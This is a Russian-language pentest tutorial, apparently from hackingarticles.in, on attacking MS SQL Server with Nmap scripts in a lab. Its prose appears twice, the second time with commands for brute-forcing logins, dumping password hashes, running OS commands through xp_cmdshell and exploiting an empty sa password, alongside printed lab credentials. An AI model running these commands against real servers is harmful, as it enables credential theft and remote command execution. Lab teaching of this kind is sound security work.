Для получения основной информации, такой как имена баз данных, имена пользователей, имена таблиц и т.д. с SQL-серверов на операционной системе Windows, мы проведем тестирование на проникновение с помощью скриптов Nmap. MSSQL - это Microsoft SQL Server для управления базами данных в сети.
По умолчанию он работает на порту 1433.
Атакующий: Kali Linux (NMAP)
Цель: Windows 10 (MS SQL Server)
Nmap - это набор NSE-скриптов на основе Lua, которые проводят аутентификационное и неаутентификационное тестирование на проникновение на порт MS-SQL 1433.
Сценарий NSE для MS-SQL можно определить, используя приведенные ниже инструкции.
Этот сценарий попытается определить информацию о конфигурации и версии для экземпляров Microsoft SQL Server.
Выполняет аудит паролей перебором на серверах Ms-SQL и таймаут соединения (по умолчанию: "5s"). Все, что нам нужно, это словари для имен пользователей и паролей, которые будут переданы в качестве аргументов.
На изображении видно, что мы успешно получили учетные данные для трех пользователей:
После получения учетных данных для входа в систему используйте эти учетные данные в сценарии NMAP для выполнения MS -SQL запроса.
Приведенный ниже сценарий попытается выполнить определенный запрос "sp_database" к Microsoft SQL Server.
Указанный запрос "sp_databases" является частью записи хранимых процедур и сбрасывает список имен баз данных из экземпляра SQL Server.
Приведенный ниже сценарий NMAP будет перечислять информацию от удаленных служб Microsoft SQL с включенной NTLM-аутентификацией.
Отправка запроса MS-TDS NTLM аутентификации с недопустимым доменом и нулевыми учетными данными приведет к тому, что удаленная служба ответит сообщением NTLMSSP, раскрывающим информацию, включающую NetBIOS, DNS и версию сборки ОС.
Следующая команда сбросит хэши паролей с сервера MS-SQL в формате, пригодном для взлома такими инструментами, как John-the-ripper. Для этого пользователь должен иметь соответствующие привилегии БД.
Из приведенного изображения видно, что он сбросил хэш-значения паролей пользователя: sa, которые мы перечислили выше.
xp_cmdshell - это функция Microsoft SQL Server, которая позволяет системным администраторам выполнять команду операционной системы.
По умолчанию опция xp_cmdshell отключена. Сценарий NMAP попытается выполнить команду с помощью командной оболочки Microsoft SQL Server, если обнаружится, что xp_cmdshell включен на целевом сервере
На изображении показан вывод команды "net user".
Если администратор Microsoft-SQL Server оставил пустым пароль для входа, злоумышленник может напрямую войти в сервер базы данных; как показано на рисунке ниже, мы исследуем свойство учетной записи пользователя "sa".
Следующий сценарий NMAP попытается аутентифицироваться на серверах Microsoft SQL Servers, используя пустой пароль для учетной записи sysadmin (sa).
Мы успешно вошли в систему с пользователем: sa и пустым паролем, как вы можете видеть на скриншоте ниже.
Следующая команда попытается получить список таблиц изнутри сервера Microsoft SQL в обход учетных данных входа в качестве аргумента через сценарий Nmap.
www.hackingarticles.in
По умолчанию он работает на порту 1433.
Атакующий: Kali Linux (NMAP)
Цель: Windows 10 (MS SQL Server)
Nmap - это набор NSE-скриптов на основе Lua, которые проводят аутентификационное и неаутентификационное тестирование на проникновение на порт MS-SQL 1433.
Сценарий NSE для MS-SQL можно определить, используя приведенные ниже инструкции.
Bash:
locate *.nse | grep ms-sql
Этот сценарий попытается определить информацию о конфигурации и версии для экземпляров Microsoft SQL Server.
Bash:
nmap -p 1433 --script ms-sql-info 192.168.1.146
Выполняет аудит паролей перебором на серверах Ms-SQL и таймаут соединения (по умолчанию: "5s"). Все, что нам нужно, это словари для имен пользователей и паролей, которые будут переданы в качестве аргументов.
Bash:
nmap -p1433 --script ms-sql-brute --script-args userdb=users.txt,passdb=pass.txt 192.168.1.146
На изображении видно, что мы успешно получили учетные данные для трех пользователей:
Username: pavan and password:Password@123
Username: aarti and password:Password@123
Username: sa and password: Password@1
После получения учетных данных для входа в систему используйте эти учетные данные в сценарии NMAP для выполнения MS -SQL запроса.
Приведенный ниже сценарий попытается выполнить определенный запрос "sp_database" к Microsoft SQL Server.
Указанный запрос "sp_databases" является частью записи хранимых процедур и сбрасывает список имен баз данных из экземпляра SQL Server.
Bash:
nmap -p1433 --script ms-sql-query --script-args mssql.username=sa,mssql.password=Password@1,ms-sql-query.query="sp_databases" 192.168.1.146
Приведенный ниже сценарий NMAP будет перечислять информацию от удаленных служб Microsoft SQL с включенной NTLM-аутентификацией.
Отправка запроса MS-TDS NTLM аутентификации с недопустимым доменом и нулевыми учетными данными приведет к тому, что удаленная служба ответит сообщением NTLMSSP, раскрывающим информацию, включающую NetBIOS, DNS и версию сборки ОС.
Bash:
nmap -p1433 --script ms-sql-ntlm-info 192.168.1.146
Следующая команда сбросит хэши паролей с сервера MS-SQL в формате, пригодном для взлома такими инструментами, как John-the-ripper. Для этого пользователь должен иметь соответствующие привилегии БД.
Bash:
nmap -p1433 --script ms-sql-dump-hashes --script-args mssql.username=sa,mssql.password=Password@1 192.168.1.146
Из приведенного изображения видно, что он сбросил хэш-значения паролей пользователя: sa, которые мы перечислили выше.
xp_cmdshell - это функция Microsoft SQL Server, которая позволяет системным администраторам выполнять команду операционной системы.
По умолчанию опция xp_cmdshell отключена. Сценарий NMAP попытается выполнить команду с помощью командной оболочки Microsoft SQL Server, если обнаружится, что xp_cmdshell включен на целевом сервере
ASP.net:
nmap -p1433 --script ms-sql-xp-cmdshell --script-args mssql.username=sa,mssql.password=Password@1,ms-sql-xp-cmdshell.cmd="net user" 192.168.1.146
На изображении показан вывод команды "net user".
Если администратор Microsoft-SQL Server оставил пустым пароль для входа, злоумышленник может напрямую войти в сервер базы данных; как показано на рисунке ниже, мы исследуем свойство учетной записи пользователя "sa".
Следующий сценарий NMAP попытается аутентифицироваться на серверах Microsoft SQL Servers, используя пустой пароль для учетной записи sysadmin (sa).
Bash:
nmap -p1433 --script ms-sql-empty-password 192.168.1.146
Мы успешно вошли в систему с пользователем: sa и пустым паролем, как вы можете видеть на скриншоте ниже.
Следующая команда попытается получить список таблиц изнутри сервера Microsoft SQL в обход учетных данных входа в качестве аргумента через сценарий Nmap.
Bash:
nmap -p1433 --script ms-sql-tables --script-args mssql.username=sa,mssql.password=Password@1 192.168.1.146
MSSQL for Pentester: Nmap
Learn MSSQL Nmap Pentesting for discovering vulnerabilities, executing queries, and performing brute force on MS-SQL servers.
www.hackingarticles.in